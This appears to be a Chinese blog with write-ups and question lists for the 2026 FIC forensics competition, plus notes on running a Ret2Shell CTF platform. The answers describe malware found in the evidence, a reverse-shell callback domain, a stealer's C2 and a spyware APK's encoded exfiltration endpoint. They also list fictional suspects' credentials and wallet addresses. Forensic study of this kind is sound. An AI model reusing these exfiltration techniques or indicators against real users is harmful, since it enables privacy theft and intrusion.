ljnljn'sBlog

2026FIC决赛复现wp-计算机部分

2026-05-25T13:16:38.000Z

通过网盘分享的文件：FIC决赛容器
链接: https://pan.baidu.com/s/1mfE5maAGrq7WzLit2feQuw 提取码: 1111
–来自百度网盘超级会员v5的分享
密码：\/a15f5b1d-a9fbdb79-de9ee6bf-28b9fce1\/
题目：

背景

某日，警方接到举报，近期互联网上出现了一涉黄网站近期极为活跃并大肆推广，警方跟进线索分析后，找到相应的网站进行了摸排调查，最终锁定网站的运营者李安弘；警方调查后发现了其雇佣的推广运营团队并进行现场抓捕，获取了如下检材：
检材1-计算机镜像
检材2-手机镜像
检材3&4-Linux服务器镜像
检材5-windows服务器镜像及其他信息
检材5（附件1）：服务器账号密码见【附件1.txt】
检材5（附件2）：现场扣押登录密钥的USB设备一批，使用ykman fido credentials list –csv可列出的凭据信息见【附件2.xlsx】;
检材5（附件3）：该服务器中的全部证书文件，见【附件3.zip】;
检材5（附件4）：服务器中网站DNS等相关信息，见【附件4.jpg】。
分析各个检材，并回答以下问题：

检材1.计算机

分析计算机检材，嫌疑人telegram绑定的手机号为
5.00 分
分析计算机检材，cherry studio工具配置的默认模型ip地址为
6.00 分
分析计算机检材，BitLocker的恢复密钥后6位
桌面上有一个backup，打开后9张图片，一看就是拼图
进行拼图处理
其实只要根据名字按顺序拼就行了，这里用了hxyz的工具进行处理，得到一张完整图片

图片在红色0通道有一个二维码，扫描即可获得密钥
分析计算机检材并找到proton邮箱的助记词，第一个单词为
7.00 分
（待补充）
助记词在D盘的key文件夹下
分析计算机检材，嫌疑人对zhuhu.fic网站发起攻击时，用户名user对应的密码为
6.00 分
既然是网站攻击那就不是burpsuite就是yakit，正好桌面上有一个，打开看数据库里有fic数据库

这里筛选出zhuhu.fic的，然后发现里面有反弹shell部分

推断下面那个post login请求是登陆成功的请求
分析计算机检材，嫌疑人对zhuhu.fic网站发起攻击时网站使用的jwt，其签名密钥为
6.00 分
分析计算机检材，嫌疑人对zhuhu.fic网站发起攻击时，使用的反弹shell中配置的外联服务器域名为
8.00 分
yutubi.top
见第五题
分析计算机检材，嫌疑人对zhuhu.fic网站发起攻击过程中，下载的住户信息文件密码为
7.00 分
最后一个包做了导出，这里面内置了密码
搜索计算机检材，找到迷宫游戏中预设的最优路径，分析游戏中隐藏的密码
9.00 分
直接玩
（比赛的录屏懒得再玩一次了）
用上述密码解密嫌疑人窃取的外卖数据文件，其中address字段为沈阳市的用户数量为（无需去重或验证数据真实性）
7.00 分
实在不会，问ai了，说是数据库，感觉题目也没提示
用dbbrowser sqlcipher版本，默认cipher版本4，输入密码可以打开

执行一下sql语句
搜索计算机检材，找到树莓派备份文件，分析其中部署的模型文件md5值为
5.00 分
比赛完才听别的师傅说可以用diskgenius打开

那确实好办了
我这里先转成vmdk

然后导入火眼
直接从大到小排序，一般本地模型都很大
分析树莓派备份文件，其中部署的ai agent程序为
6.00 分
hermes
看历史命令，发现访问了这个文件夹

翻了一下
看到hermes
分析树莓派备份文件，agent程序中，用于爬取暗网的skill所爬取的网站域名为
7.00 分
找到skill

代码里面就有
分析该agent程序，skill在爬取暗网过程中，最早下载的样本文件名为
7.00 分
看sessions
第一个

虽然脚本尝试先下载 Communicare 的 samples.zip，但因 .onion 地址不可达而失败，因此 sample_5_databases-info.txt 成为首个成功保存的样本文件。
暗网服务使用的上游代理ip地址是什么
7.00 分
分析计算机检材中的cs.exe，请给出这个exe程序的md5值？
5.00 分
e630529110a01b1ce38a9a1bf3bee9f0
分析计算机检材中的cs.exe，连接的C2地址是？
6.00 分
用currports抓
分析计算机检材中的cs.exe，可以获取几个浏览器的密码？
7.00 分
点击cs.exe后临时文件夹里出现了一个文件夹，疑似病毒释放的

进去之后是python的nutika打包，本人不太会做就不做了
分析计算机检材中的cs.exe。
9.00 分
分析计算机检材中的cs.exe，可以从服务端接收的action指令有多少种？
8.00 分

2026FIC初赛wp

2026-05-25T11:01:38.000Z

最后第二，最大的优势就是火眼一键仿真成功了，真的很玄学
也感谢两名队友，真的tql，被带飞了
手机里存的vc密码：

计算机部分

1、分析计算机检材，操作系统版本号为

23.1

2、分析计算机检材，李安弘曾收到一份免费领取token的邮件的疑似钓鱼邮件，其发送用户邮箱为

hf13338261292@outlook.com

3、分析计算机检材，李安弘电脑中记录的黄金换现金的商家联系方式为

13612817854

4、分析计算机检材，推广设计图中的apk下载链接为

https://drive.google.com/file/d/1z3aRS-lkaJYKm7Cp1XjtUmVPsOEVW2fV/view?usp=sharing

5、分析计算机检材，李安弘电脑vpn软件开放的代理端口为

9527

Clash Verge 配置里 mixed-port: 9527

6、分析计算机检材，李安弘电脑中AI软件当前使用的模型类型为

OpenRouter

7、分析计算机检材，李安弘电脑中AI软件当前使用的模型apiKey为

OpenRouter API Key: [已脱敏]

8、分析计算机检材，李安弘电脑中勒索软件提供的解密服务联系方式为

zhenyiexin@tutanota.com

证据链：

浏览器历史访问过 z583985166/0.0.0 的 GitHub Release，标题是 get_token_linux。
Release 里的 get_token_windows.exe 与本地样本 SHA256 完全一致：fa5352641a34411795afa2bc84a1e58f24718c0253b2cf11ee6faabd89a31404。
反汇编 main.main：程序先匹配 *.mp4，逐个调用 main._a 处理，随后构造并输出字符串：解密请联系zhenyiexin@tutanota.com

9、分析计算机检材，李安弘电脑中记录的存放黄金的保险柜编号是

997546

vc解开看视频，get_token_linux 是一个 Go 写的 MP4 修复/解密工具，反汇编后确认 MP4 的 stco 偏移被扰乱了 1337 字节，恢复即可

10、分析计算机检材，李安弘电脑中记录的保险柜密码是

583985

线索文件为：保险箱的秘密.et
分区7\root\文档\zhongyao\保险箱的秘密.et
该 .et 文件是 WPS 表格，内容为空，但隐藏了大量形状对象。结合 WPS 自动备份和宏脚本可知，形状 AlternativeText 里藏了点阵编码。解出来baoxiangmima:583985

手机部分

1、分析手机检材，该手机型号为

2、分析手机检材，李安弘手机计划前往迪拜的日期是

李安弘手机里“计划前往迪拜”的日期是 2026年6月6日。直接证据来自待办数据库 todo.db，命中内容为：2026.06.06 乘坐飞机去 dubai。这条待办的创建时间是 2026-04-16 11:30:00，最后修改时间是 2026-04-16 15:11:51。

3、分析手机检材，李安弘手机中与网站搭建人员沟通所使用的app安装日期为

猜测

4、分析手机检材，李安弘手机中与网站搭建人员沟通所使用的app，存放聊天数据的数据库为

5、分析手机检材，存放聊天数据的数据库的解密密码为

6、分析手机检材，李安弘购买云服务器商家的收款备用钱包地址为

李安弘购买云服务器商家的收款备用钱包地址为：

TN8vQzB3n7W5wVca9W4kL2wP7xY9zM5nU1

依据是已解密聊天库 wk_main_decrypted.db 中会话 c5e0f4afea09370702f943e7cfcef741 的消息内容：

“转账唯二地址 TK7mR3hS8vY7tY1nZ4kL9otSzgjLj6tP8v, 备用转账地址：TN8vQzB3n7W5wVca9W4kL2wP7xY9zM5nU1”。

7、分析手机检材，李安弘手机中给网站搭建人员第一次转账的交易hash前6位为

26226f

依据是已解密聊天库 wk_main_decrypted.db 中，与“网站开发”channel_id=8c723cbb09bd47adcf0ba4d9758320c0 的聊天记录显示：

李安弘先说“明天我先给你转2000U定金”，随后发送了一条图片消息，其 localPath 为

/storage/emulated/0/Android/data/com.talk.uuuim/cache/luban_disk_cache/9054354934843.png

紧接着对方回复“收到了”，可确认这就是第一次转账的交易截图。

对应检材中的实际文件位置为：

C:\hlnet\1-1777092576\检材2-手机.tar\storage\emulated\0\Android\data\com.talk.uuuim\cache\luban_disk_cache\9054354934843.png

8、分析手机检材，手机中使用的AI软件李安弘主动向AI提问了几次

检材中 com.pocketpalai 的本地聊天库 pocketpalai.db 显示，手机内该 AI 软件当前用户一共主动向 AI 提问了 5 次。

依据是数据库 messages 表中，提问方作者标识 y9d7f8pgn 的非空 text 消息共有 5 条，时间和内容分别为：

2026-04-16 16:14:37 “搭建一个黄色网站判多少年”
2026-04-16 16:17:39 “色情网站赚钱吗”
2026-04-16 16:18:46 “如何搭建一个虚拟币挖矿”
2026-04-16 16:54:46 “助记词如何保存最安全”
2026-04-16 16:57:21 “我的手机如何保存助记词最合适”

9、分析手机检材，李安弘手机使用的AI软件调用本地AI模型及版本为

10、分析手机检材，李安弘曾使用无人机航拍,分析其飞行轨迹，其在哪个县进行飞行

李安弘确实使用过无人机航拍。手机中存在 DJI Fly 飞行记录文件 FlightRecord_2026-02-17_[15-14-53].txt 和 FlightRecord_2026-02-17_[15-58-14].txt。解析结果显示两次飞行起飞坐标分别为 37.796638, 110.370705 和 37.796634, 110.370690，本地时间分别约为 2026-02-17 15:14:53 和 15:58:14，飞行距离约 1416.4 米、518.8 米。根据该坐标反查，飞行地点位于陕西省榆林市米脂县。

11、分析手机检材，李安弘最近安装了一个视频类APP，该APP声明了多个敏感权限用于收集用户隐私。请选择其中涉及用户隐私的敏感权限。

答案是：A、B、D

依据是 APK 清单里实际声明了这些权限：

android.permission.READ_CONTACTS
android.permission.READ_SMS
android.permission.READ_CALL_LOG

我在 AndroidManifest.xml (line 16) 里确认到：

第 16 行：READ_CONTACTS
第 17 行：READ_SMS
第 18 行：READ_CALL_LOG
第 25 行：RECEIVE_BOOT_COMPLETED

所以选项判断是：

A. READ_CONTACTS：是
B. READ_SMS：是
C. RECEIVE_BOOT_COMPLETED：不是“收集用户隐私”的读取类权限
D. READ_CALL_LOG：是
E. SEND_SMS：清单里没有声明

如果你愿意，我可以继续帮你把这题扩展做一下，看看这个 APK 里这些隐私权限具体是在哪里被调用的。

12、上述APP启动后会加载一个色情网站。请找出该APP当网络不可用时APP加载的本地离线页面路径。

当网络不可用时，APP 加载的本地离线页面路径是：

file:///android_asset/www/index.html

我在 MainActivity.java (line 96) 里确认到这段逻辑：

有网时：https://www.sp-live88.com
无网时：file:///android_asset/www/index.html

13、上述APP将非法收集的用户隐私数据上传至远程服务器。上传地址在代码中经过编码处理。请找出编码方式，还原出完整的上传服务器URL。

编码方式是 Base64。

我在 DataUploader.java (line 47) 里看到它把这段字符串：

aHR0cHM6Ly9hcGkuc3AtbGl2ZTg4LmNvbS9jb2xsZWN0L3VzZXJkYXRh

通过 Base64.decode(…) 解码后作为上传地址使用。还原后的完整上传服务器 URL 是：

https://api.sp-live88.com/collect/userdata

补充一点，代码里还有一个 native 备用地址分支：

DataUploader.java (line 51)

它会调用 getBackupEndpoint()，再拼上 /collect/userdata。但题目里“代码中经过编码处理”的这条主上传地址，明确就是上面这个 Base64 解出的 URL。

14、该APP在本地创建了SQLite数据库存储收集到的用户信息。请分析代码，写出用于存储用户信息的表名

用于存储用户信息的表名是：

user_collection

依据在 C0521a.java (line 33)：

建表语句：CREATE TABLE IF NOT EXISTS user_collection (…)

并且在 C0521a.java (line 27) 还能看到实际插入：

writableDatabase.insert(“user_collection”, null, contentValues);

15、该APP的assets目录中存在一个加密配置文件config.dat。请解密该文件，写出其中的USDT钱包地址

16、该APP前端JS代码可以直接调用Android原生方法获取用户隐私数据。请分析暴露了哪些方法用于获取通讯录？

getContactsList()

我在 NativeBridge.java (line 20) 里确认到它通过 @JavascriptInterface 暴露给前端 JS，内部查询的是：

ContactsContract.CommonDataKinds.Phone.CONTENT_URI

17、当主上传服务器不可达时，APP会获取备用服务器地址。请分析备用服务器的完整域名和端口

backup.sp-live88.xyz:8443

这个是我从 libsecurity.so 的 getBackupEndpoint() 解密还原出来的。Java 层在 DataUploader.java (line 51) 里会在主服务器不可达时调用它，再拼接 /collect/userdata。

服务器部分

直接火眼内就仿真成功了

注意这里勾选两个磁盘

需要打开这两个以用root身份连接服务器

1、该服务器主机操作系统版本为

进入虚拟机后查看系统版本：

1 2	cat /etc/os-release uname -a

/etc/os-release 显示 PRETTY_NAME="Debian GNU/Linux 13 (trixie)"，所以答案为 Debian GNU/Linux 13 (trixie)。

2、该服务器根分区硬盘的uuid号为

查看挂载和块设备信息：

1 2	cat /etc/fstab blkid /dev/md0

/etc/fstab 中根分区为：

1	UUID=3231e52f-5e15-44c4-b224-e29cb4201c0e / btrfs defaults,subvol=@rootfs 0 0

因此根分区 UUID 为 3231e52f-5e15-44c4-b224-e29cb4201c0e。

3、该服务器中最新的docker镜像创建时间为

1	docker images --format '{{.Repository}}\|{{.Tag}}\|{{.ID}}\|{{.CreatedAt}}\|{{.Size}}'

最新镜像为 u22:latest，创建时间为 2026-04-16 03:15:50 -0400 EDT。

4、该服务器根分区快照路径为

根分区为 Btrfs，查看子卷：

1	btrfs subvolume list /

发现：

1	ID 257 gen 4377 top level 256 path root/history

对应系统路径为 /root/history。

5、该网站后台管理入口对应的文件名为

网站目录为 /var/www/html/maccms10。检查入口文件：

1 2	ls /var/www/html/maccms10 sed -n '1,80p' /var/www/html/maccms10/user.php

user.php 中定义了后台入口相关常量，答案为 user.php。

6、该网站设置的icp备案号为

站点配置文件：

1	grep -n "site_icp\\|site_url" /var/www/html/maccms10/application/extra/maccms.php

得到：

1 2	'site_icp' => 'icp1919810' 'site_url' => 'www.2026fic.forensix'

所以 ICP 为 icp1919810，主域名为 www.2026fic.forensix。

7、该网站设置的主域名为

同上题

8、该网站分类3中，视频的拼音为

连接网站数据库 mac2，查询分类 3 下视频：

1
2
3

select vod_id,type_id,type_id_1,vod_name,vod_en,hex(vod_name)
from mac_vod
where type_id=3 or type_id_1=3;

结果中 vod_en 为 sipaanshe。

9、该站点设置页面中，被使用的前端模板来自于哪个源文件？

10、该网站的伪静态规则配置文件sm3值为

该站点使用 Nginx，伪静态规则在：

1	/etc/nginx/sites-available/default

文件内包含：

rewrite ^/index.php(.*)$ /index.php?s=$1 last;
rewrite ^/user.php(.*)$ /user.php?s=$1 last;
rewrite ^/api.php(.*)$ /api.php?s=$1 last;
rewrite ^(.*)$ /index.php?s=$1 last;

计算 SM3：

1	openssl dgst -sm3 /etc/nginx/sites-available/default

得到：

1	e73407468e6f52af54c7b14632eeeb9be25b05106d06c4c3085fc843c223793f

11、该网站关联的数据库的ip地址为

网站数据库配置：

1
2
3

cat /var/www/html/maccms10/application/database.php
cat /etc/hosts
lxc-ls -f

配置中数据库主机为 mytidb，/etc/hosts 解析为 10.0.3.100 mytidb。lxc-ls -f 显示 mytidb 是运行中的 LXC 容器。因此数据库 IP 为 10.0.3.100，容器技术为 LXC。

12、该网站数据库使用了哪一类容器技术

同上题

13、运行在4000端口的备份数据库版本号为

连接 4000 端口执行：

1	select version();

1	8.0.11-TiDB-v7.5.0

14、新注册用户数量最多的日期为

查询用户注册日期统计：

select from_unixtime(user_reg_time,'%Y-%m-%d') d,count(*) c
from mac_user
group by d
order by c desc,d asc
limit 20;

结果第一行为：

1	2026-04-15 36386

所以日期为 2026-04-15。

15、马慧美最后一次登录该网站的ip为

用户表中姓名使用拼音，精确查询：

select user_id,user_name,
       inet_ntoa(user_login_ip),from_unixtime(user_login_time),
       inet_ntoa(user_last_login_ip),from_unixtime(user_last_login_time)
from mac_user
where lower(user_name)='ma hui mei';

结果：

1	4236 Ma Hui Mei 240.12.18.80 2026-04-14 23:31:04 51.43.21.163 2026-04-15 19:51:41

题面问最后一次登录 IP，取 user_last_login_ip，答案为 51.43.21.163。

16、以下哪个文件系统未被使用

检查块设备、挂载和 LVM：

lsblk -f
findmnt -no FSTYPE,TARGET,SOURCE | sort -u
blkid
pvs; vgs; lvs

17、该服务器安装了以下那些数据库服务

检查服务、进程和端口：

1
2
3

systemctl --type=service | grep -Ei 'mysql|mariadb|postgres|tidb|tikv|pd|tiflash'
ss -lntp | grep -Ei '3306|4000|5432|2379|20160|3930'
ps aux | grep -Ei 'mysqld|postgres|tidb|tikv|pd-server|tiflash'

发现：

主机运行 PostgreSQL 17，监听本机 5432。
LXC 容器 mytidb 内运行 MySQL 8.0.45，监听 3306。
同一容器内运行 TiDB 集群组件，4000 端口返回 8.0.11-TiDB-v7.5.0。

所以安装/运行的数据库服务为 PostgreSQL、MySQL、TiDB。

互联网部分

1、售卖卡密的公开群组ID为

我认为最值得直接引用的证据

站点根目录：/var/www/html/maccms10
域名：www.2026fic.forensix
联系邮箱：lianhong@forensix.cn
卡密/支付引流地址：https://t.me/FIC_2026
数据库连接： mytidb / mac2 / aa / 123456

2、备份数据库中视频图片的文件名为

3、ngrok提供的域名为

二进制程序部分

1、分析u盘检材，找到其中保存的加密程序SampleVC.exe，请给出这个exe程序的md5值？

764789dd9c095d74b6b258cf0f7568b2

2、分析SampleVC.exe，该程序编译的日期可能是什么？

编译日期：2026-04-17

3、分析SampleVC.exe，正确的密码是什么？

正确密码：PleaseRunAsAdmin

4、分析u盘检材，利用SampleVC1234.exe解密U盘中被加密的文件，解密后的文件的后缀是什么？

vhd

5、分析u盘检材，找到被加密的交易记录，统计李安弘虚拟币收款地址钱包总收款金额为

李安弘虚拟币收款地址钱包总收款金额：186948.09

2026FIC决赛检材密码和题目

2026-05-24T14:44:00.000Z

预计这一周快马加鞭复现吧，才从软安挣脱出来好累呜呜
似乎选择题的选项没弄出来，后面看能不能补
通过网盘分享的文件：2026FIC决赛容器
链接: https://pan.baidu.com/s/1e1SDqe_rwXt9OuOuV4ZLQA?pwd=jt9w 提取码: jt9w
–来自百度网盘超级会员v5的分享
密码：\/a15f5b1d-a9fbdb79-de9ee6bf-28b9fce1\/
题目：

背景

检材1.计算机

分析计算机检材，嫌疑人telegram绑定的手机号为
5.00 分
分析计算机检材，cherry studio工具配置的默认模型ip地址为
6.00 分
分析计算机检材，BitLocker的恢复密钥后6位
6.00 分
分析计算机检材并找到proton邮箱的助记词，第一个单词为
7.00 分
分析计算机检材，嫌疑人对zhuhu.fic网站发起攻击时，用户名user对应的密码为
6.00 分
分析计算机检材，嫌疑人对zhuhu.fic网站发起攻击时网站使用的jwt，其签名密钥为
6.00 分
分析计算机检材，嫌疑人对zhuhu.fic网站发起攻击时，使用的反弹shell中配置的外联服务器域名为
8.00 分
分析计算机检材，嫌疑人对zhuhu.fic网站发起攻击过程中，下载的住户信息文件密码为
7.00 分
搜索计算机检材，找到迷宫游戏中预设的最优路径，分析游戏中隐藏的密码
9.00 分
用上述密码解密嫌疑人窃取的外卖数据文件，其中address字段为沈阳市的用户数量为（无需去重或验证数据真实性）
7.00 分
搜索计算机检材，找到树莓派备份文件，分析其中部署的模型文件md5值为
5.00 分
分析树莓派备份文件，其中部署的ai agent程序为
6.00 分
分析树莓派备份文件，agent程序中，用于爬取暗网的skill所爬取的网站域名为
7.00 分
分析该agent程序，skill在爬取暗网过程中，最早下载的样本文件名为
7.00 分
暗网服务使用的上游代理ip地址是什么
7.00 分
分析计算机检材中的cs.exe，请给出这个exe程序的md5值？
5.00 分
分析计算机检材中的cs.exe，连接的C2地址是？
6.00 分
分析计算机检材中的cs.exe，可以获取几个浏览器的密码？
7.00 分
分析计算机检材中的cs.exe。
9.00 分
分析计算机检材中的cs.exe，可以从服务端接收的action指令有多少种？
8.00 分

检材2.手机

分析手机检材，该手机设备名称为
5.00 分
分析手机检材，该手机系统magisk【环境版本】为
7.00 分
分析手机检材，嫌疑人通过盖世游戏app安装的《最终幻想》游戏版本是
7.00 分
分析手机检材，5月6日，嫌疑人最后一次使用谷歌套件中的某个app，其包名是
5.00 分
分析上述app5月6日推送新闻的相关痕迹和缓存，新闻《男子拾获钱包以为天降横财》中事件发生的地点是
6.00 分
分析该手机关机信息情况，最近一次因电池电池异常过热导致关机的北京时间为
7.00 分
分析手机检材，北京时间2026-05-06 10:43:38左右那些应用的通知被查看了？
6.00 分
该手机曾进行过一次备份，使用的工具是
6.00 分
使用上述工具进行备份的具体日期是
5.00 分
手机重启过程中，屏幕上除厂商logo外，还可以看到以下哪些内容
7.00 分
分析上述除logo外的信息，发现与加密后的助记词有关，这里用来加密助记词使用的对称加密算法为
6.00 分
助记词有部分残缺，需要补全的助记词数量为
7.00 分
嫌疑人近期使用了一款笔记软件，该应用数据加密使用的主要加密算法为
7.00 分
分析该笔记软件，其数据库一次解密密钥为
7.00 分
用来解密5月8日的收入的二次解密密钥为
7.00 分
笔记软件中记录5月7日的收入为
7.00 分
笔记软件中记录5月6日的收入为
9.00 分
手机检材中有一个AI助手程序，分析该程序配置与任务，哪个应用程序运行后会清空本地存储内容？
6.00 分
分析AI助手程序调用的模型，结合笔记软件中的记录，用来隐藏银行卡密码的模型文件名为
6.00 分
嫌疑人曾自行修改上题中的模型，他是通过什么原始模型修改而来的？
6.00 分
被修改后的模型量化精度为
5.00 分
能够提升修改后模型对话能力的虚拟token为
7.00 分
分析AI助手与笔记软件中的记录，找出银行卡6位数字密码为
8.00 分

检材3&4.Linux服务器

分析服务器检材，找出来自阿里云的服务器镜像，其源盘SHA256值为
5.00 分
分析服务器检材，“星球商城”网站使用的 React 服务端渲染应用框架为？
6.00 分
分析服务器检材，“星球商城”网站管理员密码所用的盐为？
6.00 分
分析服务器检材，“星球商城”网站备份的数据库加密后文件名为？
6.00 分
分析服务器检材，“星球商城”网站使用了NOWPayments作为支付接口，其api_key为？
5.00 分
“星球商城”网站已成功交易的订单总金额是多少？
6.00 分
卡号为797037X33CIHX7S6的充值卡，其面值是多少积分？
6.00 分
“星球商城”网站订单号为8FKXMF1OXOL3ZZ0H的购买者，其Telegram昵称是什么？
7.00 分
根据“星球商城”网站仪表盘的显示，其技术支持栏中提供的 Telegram 用户名是什么？
8.00 分
openclaw 当前配置使用的模型名称是什么？
6.00 分
openclaw 为上述模型设置的 API Key 是什么？
6.00 分
openclaw 定时广告推送任务中的链接是？
6.00 分
openclaw 目前已安装的技能数量是多少？
6.00 分
嫌疑人将其所使用的 openclaw 命名为？
6.00 分
“星球商城”网站所在服务器（IP：8.217.145.152）的 root 密码是多少？
6.00 分
嫌疑人给 openclaw 安装的本地密码管理技能的名称是？
6.00 分
嫌疑人设置的本地密码管理器主密码是？
6.00 分
嫌疑人进行广告推广的‘白果视频’网站的网址是什么？
6.00 分
Docker 容器 tg_faka 所连接的数据库的密码是多少？
7.00 分
嫌疑人使用 openclaw 在其另一台服务器上安装了 Docker，请问该服务器的 IP 地址是什么？
6.00 分
tg_faka 机器人所配置的 Telegram Bot Token 是什么？
6.00 分
tg_faka 机器人所处理的订单中，状态为“已完成”的订单总共有多少条？
8.00 分
Telegram 昵称为 milo 的用户的支付宝账号是多少？
6.00 分
嫌疑人创建的用于售卖卡密（卡号与密码）的 Telegram 群组名称是什么？
5.00 分
在群管机器人的统计数据中，通过验证并成功加入群聊的总人数是多少
6.00 分
嫌疑人在群管机器人中配置的广告共有多少条？
5.00 分
昵称为 milo 的Telegram用户是在什么时间通过群管机器人认证？
5.00 分

检材5.windows服务器

分析服务器检材，系统分区的文件系统类型是？
5.00 分
分析服务器检材，系统分区的文件系统版本是多少？
7.00 分
分析服务器检材，系统的SKU编号（OperatingSystemSKU）是什么？
8.00 分
服务器中的WinRM HTTP服务的端口是多少？
7.00 分
最后一次通过WinRM远程访问的北京时间是
7.00 分
服务器除了允许上一题登录记录的IP地址远程登录，还允许哪个IP地址远程管理
7.00 分
主机secrets目录中存放有一批密码文档，找到存在历史快照版本的文件，该文件历史版本中存放的密码是什么
8.00 分
嫌疑人称，服务器中曾安装有Linux虚拟机用于下载合同文件，其中存有一份加密的合同文件，找到这个文件，计算文件的MD5值。
9.00 分
管理后台页面的TLS证书的SHA1指纹是什么
8.00 分
广告页面提供服务的网卡MAC地址是什么
7.00 分
管理员在北京时间2026-05-01 12:23:21通过聊天工具向他人发送过一个验证码，计算管理员在这个时间登录管理后台需要使用的验证码是否与聊天记录中的验证码相同，这个时间的验证码是
8.00 分
从现场扣押的证书文件中寻找网站管理员登录后台使用的证书，正确的证书文件的SHA1哈希是什么
7.00 分
使用证书文件登录推广管理网站后台，管理员登录后网站右上角的flag是什么。
9.00 分
现在需要从现场扣押的硬件密钥中寻找网站管理员登录后台使用的硬件密钥，网站管理员登录后台使用的硬件密钥中存储的凭据ID是什么。
8.00 分
运行网站数据库的容器中，容器内部操作系统版本是
7.00 分
推广管理网站使用的PostgreSQL数据库版本是多少。
8.00 分
推广管理网站连接PostgreSQL数据库使用的密码是什么。
9.00 分
根据推广网站的推荐算法，在北京时间2026年5月1日 12:34:56时，上海的IP地址通过huajian026.chat-now.vip访问https://ficads.site/p/026的广告页面时，最有可能推荐的应用包名是什么。
8.00 分
fic.traffic_counters记录了推广源、APK 和日期维度的访问计数。请找出全量visit流量中，累计访问量最高的host + package_name组合对应 APK 的apk_sha256字段值为：
8.00 分
数据库中删除过一条创建时间为北京时间2026-05-13 10:30:00的admin用户的passkey信息，请恢复这条记录，credential_id字段的内容是什么？
9.00 分

ret2shell靶场运维学习：把本地或云端docker镜像上传到平台

2026-05-19T08:34:00.000Z

Ret2Shell 使用本地/超长 Docker 镜像

前提是要把镜像搜索功能关闭，可以看前一篇帖子：https://www.cnblogs.com/ljnljn/p/20082947

目标

让 Ret2Shell 平台启动题目环境时使用你本地构建的镜像，而不是去公网 Docker Hub 拉取。

关键概念

平台创建的是 Kubernetes Pod。Kubernetes 节点默认看不到你本机 Docker 里的镜像。

所以不要只在本机保留：

1	phpserialize-labs:latest

而是要把镜像推送到平台内置 registry，再让平台使用完整镜像地址。

当前平台 registry 地址：

1	localhost:30310

镜像地址示例：

1	localhost:30310/phpserialize-labs:v1

推荐做法：不用 latest

每次构建后使用固定版本 tag，不复用 latest。

例如：

1 2	docker tag phpserialize-labs:latest localhost:30310/phpserialize-labs:v1 docker push localhost:30310/phpserialize-labs:v1

如果后续镜像有更新，换一个新 tag：

1 2	docker tag phpserialize-labs:latest localhost:30310/phpserialize-labs:v2 docker push localhost:30310/phpserialize-labs:v2

平台里怎么填

容器名称字段只填 Kubernetes 容器名，不能填镜像地址。

正确示例：

1 2	容器名称：phpserialize-labs 镜像标签：localhost:30310/phpserialize-labs:v1

这里注意公网镜像直接写到镜像标签即可

容器名称规则：

3-40 位
以小写字母开头
只能包含小写字母、数字、连字符 -
不能以连字符结尾

所以这些是错误的容器名称：

localhost:30310/phpserialize-labs:v1
phpserialize_labs
PhpSerialize
phpserialize-labs-

如果使用比赛 bucket（目前用不上）

有些场景会按比赛 bucket 隔离镜像，可以把镜像推到 bucket 路径下：

1 2	docker tag phpserialize-labs:latest localhost:30310//phpserialize-labs:v1 docker push localhost:30310//phpserialize-labs:v1

平台里填：

1	localhost:30310//phpserialize-labs:v1

常见问题

保存失败: undefined

通常是题目处于公开状态，Ret2Shell 不允许公开题目时修改环境配置。

处理：

先把题目 Down / 隐藏 / 下线
修改并保存环境配置
再把题目 Up / 公开

平台仍然去公网拉取

通常原因：

镜像字段没有填写完整 registry 地址
把镜像地址误填到了“容器名称”字段
使用了 phpserialize-labs:v1，Kubernetes 会解析成 Docker Hub 镜像
Kubernetes 节点访问不到 localhost:30310

应填写：

1	localhost:30310/phpserialize-labs:v1

docker push 报 HTTPS 或 insecure registry 错误

需要让 Docker daemon 允许不安全 registry：

1
2
3

{
  "insecure-registries": ["localhost:30310"]
}

修改后重启 Docker。

localhost:30310 到底是什么

它是平台内置 registry 暴露出来的地址。

流程是：

本地 Docker 镜像
  -> docker push 到 localhost:30310
  -> Kubernetes 节点从 localhost:30310 拉取
  -> 平台启动题目容器

如果 Kubernetes 节点和你执行 docker push 的机器不是同一台，localhost:30310 可能不适合给节点拉取，需要改成节点可访问的 IP 或域名。

ret2shell靶场运维学习：关闭registry镜像搜索模式

2026-05-19T08:34:00.000Z

Ret2Shell 关闭 Registry 搜索模式完整流程

说明

Ret2Shell 的 registry 有两个概念：

1 2	registry 服务本身 registry 搜索模式

关闭 registry 搜索模式不会关闭 registry 服务。

关闭后：

平台前端不会再自动列出 registry 中的镜像和 tag
添加题目环境时需要手动填写完整镜像地址
已经推送到 registry 的镜像仍然可以被 Kubernetes 拉取

例如仍然可以手动填写：

1	localhost:30310/phpserialize-labs:v1

目标效果

平台运行配置中应为：

[cluster.registry]
enabled = false
server = "ret2shell-registry:5000"
external = "localhost:30310"
insecure = true

这里的 enabled = false 只表示关闭平台 registry 搜索/选择模式。

1. 修改 Helm Chart 默认值

Chart 路径：

1	/root/ret2shell-src/deploy/helm/ret2shell

编辑：

1	/root/ret2shell-src/deploy/helm/ret2shell/values.yaml

在 registry: 下加入：

registry:
  mode: internal
  replicaCount: 1
  search:
    enabled: false

2. 修改 Helm 模板

编辑：

1	/root/ret2shell-src/deploy/helm/ret2shell/templates/_config.tpl

找到：

1 2	[cluster.registry] enabled = true

改为：

1 2	[cluster.registry] enabled = {{ .Values.registry.search.enabled }}

这样以后 Helm 渲染出来的配置会跟随 registry.search.enabled。

3. 修改 values schema

编辑：

1	/root/ret2shell-src/deploy/helm/ret2shell/values.schema.json

在 registry.properties 中加入：

"search": {
  "type": "object",
  "properties": {
    "enabled": {
      "type": "boolean"
    }
  }
}

4. 可选：更新 Chart README

编辑：

1	/root/ret2shell-src/deploy/helm/ret2shell/README.md

在 registry 相关配置处加入：

1	registry.search.enabled=true\|false controls the platform registry search mode

5. 如果当前运行环境不是重新 Helm 部署

当前平台容器挂载的运行配置来自主机路径：

1	/srv/ret2shell/backend/config/config.toml

需要直接修改这个运行配置。

编辑：

1	/srv/ret2shell/backend/config/config.toml

找到：

1 2	[cluster.registry] enabled = true

改为：

1 2	[cluster.registry] enabled = false

完整示例：

[cluster.registry]
enabled = false
server = "ret2shell-registry:5000"
external = "localhost:30310"
insecure = true

6. 重启平台

重启 Ret2Shell 平台 StatefulSet：

1	kubectl -n ret2shell-platform rollout restart statefulset/ret2shell-platform

等待滚动重启完成：

1	kubectl -n ret2shell-platform rollout status statefulset/ret2shell-platform --timeout=180s

7. 验证 Pod 状态

查看平台 Pod：

1	kubectl -n ret2shell-platform get pods -l app.kubernetes.io/component=platform -o wide

期望看到：

1	ret2shell-platform-0 1/1 Running

8. 验证容器内配置

查看容器内实际生效配置：

